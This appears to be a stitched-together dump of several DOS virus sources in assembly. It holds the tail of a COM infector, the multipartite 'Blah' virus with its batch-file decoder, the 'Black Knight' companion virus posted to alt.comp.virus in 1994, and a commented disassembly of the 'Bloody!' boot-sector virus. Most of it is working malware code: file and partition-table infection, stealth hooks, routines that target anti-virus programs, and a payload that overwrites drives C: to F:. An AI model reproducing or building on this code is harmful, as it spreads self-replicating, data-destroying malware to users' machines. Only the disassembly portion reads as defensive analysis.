add bx,1eh
mov ds:[0feh],bx ; point to name
mov ax,'OC' ; "CO"
sub ax,ds:[009eh]
jne cont0 ; if file name CO*.com then skip
jmp fin
cont0:
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
jna cont2
jmp fin
cont2:
mov cx,ds:[98h]
and cx,001fh
mov dl,cl
mov ax,ds:[98h]
and ax,01e0h
mov cl,5
sar ax,cl
mov dh,al
mov ax,ds:[98h]
and ax,0fe00h
mov cl,9
sar ax,cl
mov cx,ax
add cx,1980
mov ah,2bh
int 21h ; set system time
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
cmp ax,9090h
je fin ; if file inf. then skip this file
cmp ax,'ZM'
je fin ; if file .COM is EXE then skip
mov di,dx
mov cx,ds:[0fch]
NEWS:
or cx,cx
js cont
mov al,'M'
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
jmp news
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
dec count
jz done
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov dx,ds:[0f2h]
mov cx,ds:[0f4h]
mov ah,2bh
int 21h
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
+681
View File
@@ -0,0 +1,681 @@
.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - blah + 1ff) / 200
blah: xor bp,bp
xor si,si
cmp [si],20CDh ; check if there is a PSP
jz in_com ; to see if we are in COM or
; boot (don't just check SP
; since COM might not load in
; a full segment if memory is
; sparse)
inc bp
; hey! we're in the boot sector or the partition table
; assume in partition table for the time being
push si
cli
pop ss
mov sp,-2 ; doesn't really matter
sti
mov ax,200 + sector_length
mov es,si
mov bx,7c00 + 200
mov cx,2
mov dx,80
int 13
mov dx,0f800
db 0ea
dw offset install, 7b0
in_com: mov dx,0f904
mov ah,62 ; get the PSP
int 21 ; also tells existing copies
; to disable themselves
; (for NetWare compatability)
dec bx ; go to MCB so we can
mov ds,bx ; twiddle with it
sub word ptr [si+3],resP ; reserve two K of memory
sub word ptr [si+12],resP ; in DOS for the virus
install: mov cs:init_flag,dl
mov byte ptr cs:i13_patch,dh
mov ds,si ; reserve two K of memory
mov dx,word ptr ds:413
sub dx,resK
mov word ptr ds:413,dx ; from the BIOS count
mov cl,6
shl dx,cl ; K -> paragraph
les ax,ds:84
mov cs:old_i21,ax
mov cs:old_i21+2,es
les ax,ds:4c
mov cs:old_i13,ax
mov cs:old_i13+2,es
mov es,dx
push cs
pop ds
mov si,offset blah
mov di,si
mov cx,(offset end_zopy - blah + 1) / 2
rep movsw
mov es,cx
mov es:4c,offset i13
mov es:4e,dx
or bp,bp
jz exit_com
exit_boot: mov ax,201 ; read the original partition
xor cx,cx ; table to 0:7C00
mov dx,80 ; since the i13 handler is in
mov es,cx ; place, we can load from where
inc cx ; the partition table should
mov bx,7c00 ; be, instead of where it
pushf
push es bx ; actually is
jmp dword ptr [bp+4bh] ; int 13 / iret
exit_com: mov es:84,offset i21
mov es:86,dx
infect_hd: push ax cx dx bx ds es
push cs cs
pop es ds
mov ax,201
mov bx,100 + (sector_length*200)
mov cx,1
mov dx,80
call call_i13 ; get original partition table
adj_ofs = (100 + (sector_length*200))
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
jz already_infected
mov al,ds:[adj_ofs+1C0]
cbw
or ax,ds:[adj_ofs+1C2]
jnz enough_room
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
jbe already_infected ; not enough room for virus
enough_room: mov ax,301 + sector_length ; write to disk
mov bx,100 ; cx = 1, dx = 80 already
call call_i13
already_infected:
pop es ds bx dx cx ax
ret
db 'Blah virus',0
db '(DA/PS)',0
; I indulged myself in writing the decoder; it's rather much larger than it
; needs to be. This was so I could insert random text strings into the code.
; The decoder creates a file which, when run, will execute the encoded file.
; In this case, we are encoding the virus. See the beginning for a complete
; explanation of how the virus works.
decoder db '@echo øPSBAT!ø¿PS½'
fsize dw -1 * (heap - blah)
db 'XYZ÷ÝU¾S¹ 2é¬H‹Ø¬,AêMtâñ ít­ëå>',0ba,'.com',0Dh,0A
db '@echo ¸üü2àYP—¸ó¤«¸ëë2૾PS¿DBïDAÃ'
endline: db '>>',0ba,'.com',0Dh,0A
; The next line is to ease the coding. This way, the same number of statements
; pass between the running of the temporary program and the reloading of the
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
; the temporary file installs the virus into memory. Note the following lines
; are never seen by the command interpreter if the virus is already resident.
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
db '@',0ba,0Dh,0A
db '@del ',0ba,'.com',0Dh,0A
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
; which would be a shame.
db '@if %0. == . autoexec',0Dh,0A
db '@%0',0Dh,0A
endcleanup:
chain_i13: push [bp+6]
call dword ptr cs:old_i13
pushf
pop [bp+6]
ret
call_i13: pushf
call dword ptr cs:old_i13
ret
write: mov ah,40
calli21: pushf
call dword ptr cs:old_i21
ret
check_signature:and word ptr es:[di+15],0
push es di cs cs
pop ds es
mov ah,3f
cwd ; mov dx,offset our_buffer
mov cx,enddecoder - decoder
call calli21
cld
mov si,offset decoder
mov di,dx
mov cx,enddecoder - decoder
rep cmpsb
pop di es
ret
i13: clc ; this is patched to
jnc i13_patch ; disable the i13 handler
jmp disabled_i13 ; this is a stupid hiccup
i13_patch: clc ; this is patched to once
jc multipartite_installed ; i21 is installed
push ax bx ds es
mov ax,0AA55 ; offset 02FE of the virus
; this is the PT signature
xor ax,ax
mov es,ax
lds bx,es:84
mov ax,ds
cmp ax,cs:old_i21+2
jz not_DOS_yet
or ax,ax ; Gets set to address in zero
jz not_DOS_yet ; segment temporarily. ignore.
cmp ax,800
ja not_DOS_yet
cmp ax,es:28*4+2 ; make sure int 28 handler
jnz not_DOS_yet ; the same (OS == DOS?)
cmp bx,cs:old_i21
jz not_DOS_yet
install_i21: push cs
pop ds
mov ds:old_i21,bx
mov ds:old_i21+2,ax
mov es:84,offset i21
mov es:86,cs
inc byte ptr ds:i13_patch
not_DOS_yet: pop es ds bx ax
multipartite_installed:
push bp
mov bp,sp
cmp cx,sector_length + 1 ; working on virus area?
ja jmp_i13
cmp dx,80
jnz jmp_i13
cmp ah,2 ; reading partition table?
jz stealth_i13
not_read: cmp ah,3 ; write over partition table?
jnz jmp_i13
call infect_hd
push si cx bx ax
mov al,1
cmp cl,al ; are we working on partition
jnz not_write_pt ; table at all?
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
not_write_pt: pop ax
push ax
cbw
sub al,sector_length + 2 ; calculate number of remaining
add al,cl ; sectors to write
js alt_exit_i13
jz alt_exit_i13
push cx
sub cx,sector_length + 2 ; calculate number of sectors
neg cx ; skipped
addd: add bh,2 ; and adjust buffer pointer
loop addd ; accordingly
pop cx
or ah,1 ; ah = 1 so rest_stealth makes
jmp short rest_stealth ; it a write
jmp_i13: pop bp
disabled_i13: jmp dword ptr cs:old_i13
stealth_i13: push si cx bx ax
call infect_hd
mov si,bx
mov al,1
cmp cl,al
jnz not_read_pt
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
add bh,2 ; adjust buffer ptr
not_read_pt: pop ax
push ax
push di ax
mov di,bx
mov ah,0
add al,cl
cmp al,sector_length + 2
jb not_reading_more
mov al,sector_length + 2
not_reading_more:cmp cl,1
jnz not_pt
dec ax
not_pt: sub al,cl
jz dont_do_it ; resist temptation!
mov cl,8
shl ax,cl ; zero out sectors
mov cx,ax
cbw ; clear ax
rep stosw
mov bx,di ; adjust buffer
dont_do_it: pop ax di
mov ah,0
mov cl,9
sub si,bx
neg si
shr si,cl
sub ax,si
jz alt_exit_i13
rest_stealth: sub ax,-200
mov cx,sector_length + 2
call chain_i13
alt_exit_i13: pop bx
mov al,bl
pop bx cx si bp
iret
i24: mov al,3
iret
chain_i21: push [bp+6] ; push flags on stack again
call dword ptr cs:old_i21
pushf ; put flags back onto caller's
pop [bp+6] ; interrupt stack area
ret
infect_bat: mov cx,200 ; conquer the holy batch file!
move_up: sub bp,cx
jns $+6
add cx,bp
xor bp,bp
mov es:[di+15],bp ; move file pointer
mov ah,3f ; read in portion of the file
mov dx,offset big_buffer
call calli21
add word ptr es:[di+15],viruslength
sub word ptr es:[di+15],ax
call write ; move the data up
or bp,bp
jnz move_up
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
mov cx,enddecoder - decoder
mov dx,offset decoder
call write
push es di cs
pop es
mov bp,heap - blah
mov si,offset blah
encode_lines: mov di,offset line
mov cx,20
encode_line: lodsb
push ax
and ax,0F0
inc ax
stosb
pop ax
and ax,0F
add al,'A'
stosb
dec bp
jz finished_line
loop encode_line
finished_line: mov cx,6
mov dx,offset decoder
call write
mov cx,di
mov dx,offset line
sub cx,dx
call write
mov cx,enddecoder-endline
mov dx,offset endline
call write
or bp,bp
jnz encode_lines
pop di es
mov cx,endcleanup - enddecoder
mov dx,offset enddecoder
call write
ret
; check neither extension nor timestamp in case file was renamed or
; something like that
; will hang without this stealth because of the line
; @%0 that it adds to batch files
handle_read: push es di si ax cx dx ds bx
xor si,si
cmp cs:init_flag,0
jnz dont_alter_read
mov ax,1220
int 2f
jc dont_alter_read
xor bx,bx
mov bl,es:di
mov ax,1216
int 2f ; es:di now -> sft
jc dont_alter_read
pop bx ; restore the file handle
push bx
push es:[di+15] ; save current offset
call check_signature
mov si,viruslength
pop bx
jz hide_read
xor si,si
hide_read: add bx,si
mov es:[di+15],bx
dont_alter_read:pop bx ds dx cx ax
call chain_i21
sub es:[di+15],si
pop si di es
_iret: pop bp
iret
handle_open: cmp cs:init_flag,0
jz keep_going
dec cs:init_flag
keep_going: call chain_i21
jc _iret
push ax cx dx bp si di ds es
xchg si,ax ; filehandle to si
mov ax,3524
int 21
push es bx ; save old int 24 handler
xchg bx,si ; filehandle back to bx
push bx
mov si,dx ; ds:si->filename
push ds
mov ax,2524 ; set new int 24 handler
push cs
pop ds
mov dx,offset i24
call calli21
pop ds
cld
find_extension: lodsb ; scan filename for extension
or al,al ; no extension?
jz dont_alter_open
cmp al,'.' ; extension?
jnz find_extension
lodsw ; check if it's .bat
or ax,2020
cmp ax,'ab'
jnz dont_alter_open
lodsb
or al,20
cmp al,'t'
jnz dont_alter_open
mov ax,1220 ; if so, get jft entry
int 2f
jc dont_alter_open
xor bx,bx
mov bl,es:di
mov ax,1216 ; now get SFT
int 2f
jc dont_alter_open
pop bx ; recover file handle
push bx
mov bp,word ptr es:[di+11] ; save file size
or bp,bp
jz dont_alter_open
mov byte ptr es:[di+2],2 ; change open mode to r/w
mov ax,word ptr es:[di+0dh] ; get file time
and ax,not 1f ; set the seconds field
or ax,1f
mov word ptr es:[di+0dh],ax
call check_signature
jz dont_alter1open ; infected already!
call infect_bat
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
and word ptr es:[di+15],0
mov byte ptr es:[di+2],0 ; restore file open mode
dont_alter_open:pop bx dx ds
mov ax,2524
call calli21
pop es ds di si bp dx cx ax bp
iret
findfirstnext: call chain_i21 ; standard file length
push ax bx si ds es ; hiding
cmp al,-1
jz dont_alter_fffn
mov ah,2f ; get the DTA to es:bx
int 21
push es
pop ds
cmp byte ptr [bx],-1
jnz not_extended
add bx,7
; won't hide if extension is changed, but otherwise gives it away by disk
; accesses
not_extended: cmp word ptr [bx+9],'AB'
jnz dont_alter_fffn
cmp byte ptr [bx+0bh],'T'
jnz dont_alter_fffn
cmp word ptr [bx+1dh],viruslength
jb dont_alter_fffn
mov al,[bx+17]
and al,1f
cmp al,1f
jnz dont_alter_fffn
and byte ptr [bx+17],not 1f
sub word ptr [bx+1dh],viruslength
dont_alter_fffn:pop es ds si bx ax bp
iret
inst_check: cmp bx,0f904
jnz jmp_i21
push si di cx
mov si,offset blah
mov di,100
mov cx,offset i13 - offset blah
db 2e
rep cmpsb
jnz not_inst
inc byte ptr cs:i13 ; disable existing copy of
inc byte ptr cs:i21 ; the virus
not_inst: pop si di cx
jmp short jmp_i21
i21: clc
jc disabled_i21
push bp
mov bp,sp
cmp ah,11
jz findfirstnext
cmp ah,12
jz findfirstnext
cmp ah,62
jz inst_check
cmp ax,3d00
jnz not_open
jmp handle_open
not_open: cmp ah,3f
jnz jmp_i21
jmp handle_read
jmp_i21: pop bp
disabled_i21: db 0ea ; call original int 21
heap: ; g
old_i21 dw ?, ? ; handler
old_i13 dw ?, ?
init_flag db ?
end_zopy:
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
orig_PT db 200 dup (?)
big_buffer db 200 dup (?)
end_all:
end blah
; The complimentary decoder included with every copy of blah
.model tiny
.code
.radix 16
org 100
decode: db 'øPSBAT!ø' ; translates to some random code
mov di,offset buffer
db 0bdh ; mov bp, datasize
datasize dw 'Y0'
db 'XYZ' ; more text that is also code
neg bp
push bp
mov si,offset databytes
keep_going: mov cx,2020
xor ch,cl
decode_line: lodsb
dec ax ; tens digit
mov bx,ax
lodsb
sub al,'A'
add ax,bx
stosb
dec bp
jz all_done
loop decode_line
all_done: or bp,bp
jz no_more
lodsw ; skip CRLF
jmp keep_going
db 0Dh,0A ; split file into two lines
no_more: mov ax,0fcfc
xor ah,al
pop cx ; how many bytes to move
push ax
xchg ax,di
mov ax,0a4f3
stosw
mov ax,0ebebh ; flush prefetch queue
xor ah,al
stosw
mov si,offset buffer
mov di,100 + 4144
sub di,'AD'
retn
db 0Dh,0Ah ; split the file s'more
databytes:
org 5350 ; 50/53 == P/S
buffer:
end decode
@@ -0,0 +1,391 @@
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution: world
Message-ID: <3bf963$idi@ixnews1.ix.netcom.com>
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
;Black Knight Anti-Virus-Virus
;Size - 520
;
;Tasm BKNIGHT
;Tlink /T BKNIGHT
;Memory Resident Companion Virus
;Anti-Anti-Virus
;Formats Drives C: to F: When Anti-Virus Product Is Ran
;Tempest - _ Of Luxenburg
;
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
virus_name:
db 'Black Knight'
;install
virus_install:
nop
nop
nop
mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a
jne cancel
mov ax,ds:[0003]
sub ax,100
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es
add ax,bx
mov es,ax
mov cx,offset endit - begin
mov ax,ds
inc ax
mov ds,ax
lea si,ds:[begin]
lea di,es:0100
rep movsb
Grab_21:
mov ds,cx ; hook int 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already
installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to
virus
nop
int 21h
nop
cancel: ret
check_exec:
pushf
push es ; push everything onto
the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is the file being
jne abort ; executed?
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
Bye_Bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; here, the virus
essentially
mov cs:[name_off],dx ; copies the name of the
cld ; loaded file into a
buffer
mov di,dx ; so that it can be
compared
push ds ; against the default
names
pop es ; in the_stinger
mov al,'.' ; subroutine
repne scasb ; <--
call the_stinger ; check for anti-virus
load
; and deploy the_stinger
cld
mov word ptr cs:[nameptr],dx
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh
int 21h
push es
push bx
push cs
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint
push di
mov si,offset COM_txt
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt
nop
call change_ext
mov ax,3300h
nop
int 21h
push dx
cwd
inc ax
push ax
int 21h
Grab24h:
mov ax,3524h
int 21h
push bx
push es
push cs
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ;create the virus
(unique name)
xor cx,cx
mov ah,05Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,filelength ;cx= length of virus
mov dx,offset begin ;where to start copying
mov ah,40h ;write the virus to the
int 21h ;new file
mov ah,3Eh ; close
int 21h
return1: pop ax
pop ds
pop dx
int 21h
pop ax
pop dx
int 21h
mov si,offset EXE_txt
call change_ext
return: mov ah,1Ah
pop dx
pop ds
int 21H
ret
do_com: call findfirst
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return
mov si,offset EXE_txt
call change_ext
call findfirst
jnc return
mov si,offset COM_txt
call change_ext
jmp short return
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass
cmp word ptr es:[di-3],'XR' ;VIRX
je jumptoass
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
jne next1
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
je jumptoass
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's
Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's
CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: jmp nuke ;assassination (deletion)
; of anti-virus program
nuke:
mov al,2 ;Lets Total The C: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The D: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The E: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,5 ;Lets Total The F: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
EXE_txt db 'EXE',0
COM_txt db 'COM',0
data_1 db 0
data_2 db 0
last db 090H
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
virus_man: db 'Tempest - _ Of Luxenburg'
endit:
cseg ends
end begin
@@ -0,0 +1,280 @@
; BLOODY! virus
;
; Discovered an commented by Ferenc Leitold
; Hungarian VirusBuster Team
; Address: 1399 Budapest
; P.O. box 701/349
; HUNGARY
217D:0100 2EFF2E177C JMP Far CS:[7C17]
217D:0105 E9B500 JMP 01BD ; Jump to main entry point
217D:0108 00 db 0 ; Counter
217D:0109 00 db 0
217D:010A 00 db 0 ; Flag:
; 00 : floppy
; 80 : hard disk
217D:010B 00 db 0
217D:010C A100F0 MOV AX,[F000]
217D:010F 0301809F DW 0103H,9F80H ; Entry point at TOP
217D:0113 007C0000 DW 7C00H,0000H ; Address of orig. boot
217D:0117 057C0000 DW 7C05H,0000H
217D:011B 00000000 DW 0000H,0000H ; original INT13 vector
;************************ INT13 entry point *****************************
217D:011F 80FC02 CMP AH,02 ; Check parameters
217D:0122 720D JC 0131
217D:0124 80FC04 CMP AH,04
217D:0127 7308 JNC 0131
217D:0129 80FA80 CMP DL,80
217D:012C 7303 JNC 0131
217D:012E E80500 CALL 0136 ; Call, if AH=2,3 & DL!=80
217D:0131 2EFF2E0B00 JMP Far CS:[000B] ; Jump to original INT13
217D:0136 50 PUSH AX ; Save registers
217D:0137 53 PUSH BX
217D:0138 51 PUSH CX
217D:0139 52 PUSH DX
217D:013A 06 PUSH ES
217D:013B 1E PUSH DS
217D:013C 56 PUSH SI
217D:013D 57 PUSH DI
217D:013E 0E PUSH CS ; Set DS,ES to CS
217D:013F 1F POP DS
217D:0140 0E PUSH CS
217D:0141 07 POP ES
217D:0142 BE0200 MOV SI,0002 ; 2 probe
217D:0145 33C0 XOR AX,AX ; Reset drive
217D:0147 9C PUSHF
217D:0148 FF1E0B00 CALL Far [000B] ; Call INT13
217D:014C B80102 MOV AX,0201 ; Read boot sector of floppy
217D:014F BB0002 MOV BX,0200
217D:0152 B90100 MOV CX,0001
217D:0155 32F6 XOR DH,DH
217D:0157 9C PUSHF
217D:0158 FF1E0B00 CALL Far [000B] ; Call INT13
217D:015C 7305 JNC 0163
217D:015E 4E DEC SI ; If error next probe
217D:015F 75E4 JNZ 0145
217D:0161 EB2E JMP 0191 ; Jump, if 2 bad probes was
217D:0163 33F6 XOR SI,SI ; Check boot sector, if
217D:0165 BF0002 MOV DI,0200 ; if infected yet
217D:0168 B90300 MOV CX,0003
217D:016B FC CLD
217D:016C F3A7 REP CMPSW
217D:016E 7421 JZ 0191 ; Jump, if already infected
217D:0170 B80103 MOV AX,0301 ; Write orig. boot sector
217D:0173 BB0002 MOV BX,0200
217D:0176 B90300 MOV CX,0003 ; cyl: 0 sect: 3
217D:0179 B601 MOV DH,01 ; head: 1
217D:017B 9C PUSHF
217D:017C FF1E0B00 CALL Far [000B] ; Call INT13
217D:0180 720F JC 0191
217D:0182 B80103 MOV AX,0301 ; Write infected boot sector
217D:0185 33DB XOR BX,BX
217D:0187 B90100 MOV CX,0001 ; cyl:0 sect:1
217D:018A 32F6 XOR DH,DH ; head: 0
217D:018C 9C PUSHF
217D:018D FF1E0B00 CALL Far [000B]
217D:0191 5F POP DI ; Restore registers
217D:0192 5E POP SI
217D:0193 1F POP DS
217D:0194 07 POP ES
217D:0195 5A POP DX
217D:0196 59 POP CX
217D:0197 5B POP BX
217D:0198 58 POP AX
217D:0199 C3 RET
217D:019A 1D1D1D1A3737 ; Coded text:
217D:01A0 37373737557B ; "\r\r\r\n Bloody! Jun. 4, 1989\r\r\r\n"
217D:01A6 7878736E3637
217D:01AC 5D6279393723
217D:01B2 3B37262E2F2E
217D:01B8 1D1D1D1A00
;************************** Main entry point *******************************
217D:01BD 33C0 XOR AX,AX
217D:01BF 8ED8 MOV DS,AX
217D:01C1 FA CLI
217D:01C2 8ED0 MOV SS,AX
217D:01C4 BC007C MOV SP,7C00
217D:01C7 FB STI
217D:01C8 A14C00 MOV AX,[004C] ; Save orig. INT13 vector
217D:01CB A30B7C MOV [7C0B],AX
217D:01CE A14E00 MOV AX,[004E]
217D:01D1 A30D7C MOV [7C0D],AX
217D:01D4 A11304 MOV AX,[0413] ; Decrease memory by 2KB
217D:01D7 48 DEC AX
217D:01D8 48 DEC AX
217D:01D9 A31304 MOV [0413],AX
217D:01DC B106 MOV CL,06 ; Calculate segment
217D:01DE D3E0 SHL AX,CL
217D:01E0 A3117C MOV [7C11],AX
217D:01E3 A34E00 MOV [004E],AX ; Set new INT13 vector
217D:01E6 8EC0 MOV ES,AX
217D:01E8 B81F00 MOV AX,001F
217D:01EB A34C00 MOV [004C],AX
217D:01EE C7060F7C0301 MOV [7C0F],0103 ; Set JMP argument points
; to TOP
217D:01F4 BE007C MOV SI,7C00 ; Copy itself to TOP
217D:01F7 33FF XOR DI,DI
217D:01F9 B90001 MOV CX,0100
217D:01FC FC CLD
217D:01FD F3A5 REP MOVSW
217D:01FF FF2E0F7C JMP Far [7C0F] ; Jmp to TOP
TOP :0203 33C0 XOR AX,AX ; Reset drive
TOP :0205 CD13 INT 13
TOP :0207 0E PUSH CS ; Set registers to load
TOP :0208 1F POP DS ; original sector
TOP :0209 33C0 XOR AX,AX
TOP :020B 8EC0 MOV ES,AX
TOP :020D B80102 MOV AX,0201
TOP :0210 BB007C MOV BX,7C00
TOP :0213 803E0A0000 CMP [000A],00 ; Check, if it is floppy ?
TOP :0218 7435 JZ 024F ; Jump, if floppy
; if hard disk, load
; orig. part. table
TOP :021A B90600 MOV CX,0006 ; cyl.: 0 sect.: 6
TOP :021D BA8000 MOV DX,0080 ; head: 0
TOP :0220 CD13 INT 13
TOP :0222 0E PUSH CS
TOP :0223 07 POP ES
TOP :0224 FE060800 INC B/[0008] ; Increase counter
TOP :0228 803E080080 CMP [0008],80
TOP :022D 721E JC 024D ; If counter < 128 -> no text
TOP :022F C60608007A MOV [0008],7A
TOP :0234 FC CLD
TOP :0235 BE9A00 MOV SI,009A ; Write coded text via BIOS
TOP :0238 AC LODSB
TOP :0239 3C00 CMP AL,00
TOP :023B 740C JZ 0249
TOP :023D 32060300 XOR AL,[0003]
TOP :0241 B40E MOV AH,0E
TOP :0243 B700 MOV BH,00
TOP :0245 CD10 INT 10
TOP :0247 EBEF JMP 0238
TOP :0249 B400 MOV AH,00 ; Wait for keystroke
TOP :024B CD16 INT 16
TOP :024D EB54 JMP 02A3
; if floppy
TOP :024F B90300 MOV CX,0003 ; read orig. boot sector
TOP :0252 BA0001 MOV DX,0100 ; cyl: 0 hd: 1 sect: 3
TOP :0255 CD13 INT 13
TOP :0257 0E PUSH CS
TOP :0258 07 POP ES
TOP :0259 721D JC 0278 ; Jump, if error occured
TOP :025B B80102 MOV AX,0201 ; Load part. table of
TOP :025E BB0002 MOV BX,0200 ; 1st hard disk
TOP :0261 B90100 MOV CX,0001
TOP :0264 BA8000 MOV DX,0080
TOP :0267 CD13 INT 13
TOP :0269 720D JC 0278 ; Jump, if error occured
TOP :026B BE0002 MOV SI,0200 ; Check 1st 3 word
TOP :026E 33FF XOR DI,DI
TOP :0270 B90300 MOV CX,0003
TOP :0273 FC CLD
TOP :0274 F3A7 REP CMPSW
TOP :0276 750E JNZ 0286
; If infected yet
TOP :0278 C6060A0000 MOV [000A],00 ; Set Flag to 0
TOP :027D C606080000 MOV [0008],00 ; Reset counter
TOP :0282 FF2E1300 JMP Far [0013] ; Jump to orig. boot
TOP :0286 B80103 MOV AX,0301 ; Write orig. part. table
TOP :0289 BB0002 MOV BX,0200
TOP :028C B90600 MOV CX,0006 ; cyl: 0 sect: 6 hd: 0
TOP :028F CD13 INT 13
TOP :0291 72E5 JC 0278
TOP :0293 BEBE03 MOV SI,03BE ; Copy partition info
TOP :0296 BFBE01 MOV DI,01BE ; after virus body
TOP :0299 B92101 MOV CX,0121
TOP :029C F3A5 REP MOVSW
TOP :029E C6060A0001 MOV [000A],01
TOP :02A3 B80103 MOV AX,0301 ; Write boot sector or
; partition table with
; increased counter
TOP :02A6 33DB XOR BX,BX
TOP :02A8 B90100 MOV CX,0001
TOP :02AB CD13 INT 13
TOP :02AD BEBE04 MOV SI,04BE ; Clear area of partition
TOP :02B0 BFBE01 MOV DI,01BE ; info
TOP :02B3 B92000 MOV CX,0020
TOP :02B6 F3A5 REP MOVSW
TOP :02B8 EBBE JMP 0278 ; Set parameters &
; jump to orig. boot
TOP :02BA DE07 ESC 30,[BX]
TOP :02BC DF07 ESC 38,[BX]
TOP :02BE 0000 ADD [BX+SI],AL
TOP :02C0 0000 ADD [BX+SI],AL
TOP :02C2 0000 ADD [BX+SI],AL
TOP :02C4 0000 ADD [BX+SI],AL
TOP :02C6 0000 ADD [BX+SI],AL
TOP :02C8 0000 ADD [BX+SI],AL
TOP :02CA 0000 ADD [BX+SI],AL
TOP :02CC 0000 ADD [BX+SI],AL
TOP :02CE 0000 ADD [BX+SI],AL
TOP :02D0 0000 ADD [BX+SI],AL
TOP :02D2 0000 ADD [BX+SI],AL
TOP :02D4 0000 ADD [BX+SI],AL
TOP :02D6 0000 ADD [BX+SI],AL
TOP :02D8 0000 ADD [BX+SI],AL
TOP :02DA 0000 ADD [BX+SI],AL
TOP :02DC 0000 ADD [BX+SI],AL
TOP :02DE 0000 ADD [BX+SI],AL
TOP :02E0 0000 ADD [BX+SI],AL
TOP :02E2 0000 ADD [BX+SI],AL
TOP :02E4 0000 ADD [BX+SI],AL
TOP :02E6 0000 ADD [BX+SI],AL
TOP :02E8 0000 ADD [BX+SI],AL
